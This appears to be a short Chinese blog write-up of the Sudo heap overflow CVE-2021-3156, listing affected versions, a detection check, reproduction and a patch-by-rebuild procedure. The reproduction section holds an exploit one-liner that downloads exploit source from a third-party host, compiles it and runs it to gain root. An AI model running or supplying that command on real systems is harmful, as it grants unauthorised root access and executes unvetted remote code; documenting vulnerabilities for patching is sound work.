0x00 漏洞描述

Sudo是一个功能强大的实用程序,大多数基于Unix和Linux的操作系统都包含Sudo。它允许用户使用其他用户的安全特权运行程序。2021年1月27日,国外安全研究人员披露了Sudo 堆缓冲区溢出致本地提权漏洞,漏洞编号为 CVE-2021-3156。任何本地用户(包括普通用户和系统用户,sudoer和非sudoers)若成功利用该漏洞,可在无需密码的情况下获得root权限。

0x01 影响版本

Sudo 1.9.0 到 1.9.5p1 所有稳定版(默认配置)

Sudo 1.8.2 到 1.8.31p2 所有旧版本(默认配置)

0x02 漏洞复现

我用Ubuntu进行的漏洞复现,非root用户。

进行漏洞检测,输入:sudoedit -s /

  • 若返回以“ sudoedit:”开头的错误,则存在漏洞。
  • 若返回以“ usage:”开头的错误,则不受影响

可以看到我这里的回显,说明是存在漏洞的:

exp:

mkdir CVE-2021-3156 && cd CVE-2021-3156/ && wget www.itznxh.com/CVE-2021-3156/hax.c && wget www.itznxh.com/CVE-2021-3156/lib.c &&wget www.itznxh.com/CVE-2021-3156/Makefile && make &&./sudo-hax-me-a-sandwich 0

0x03 漏洞修复

  • 下载最新版本sudo软件tar包:wget https://www.sudo.ws/dist/sudo-1.9.5p2.tar.gz
  • 解压:tar zxvf sudo-1.9.5p2.tar.gz
  • 执行编译命令:./configure --prefix=/usr --libexecdir=/usr/lib --with-secure-path --with-all-insults --with-env-editor --docdir=/usr/share/doc/sudo-1.9.5p2 --with-passprompt="[sudo] password for %p: " && make && make install && ln -sfv libsudo_util.so.0.0.0 /usr/lib/sudo/libsudo_util.so.0

⚪参考:purplet.top-sudo本地提权漏洞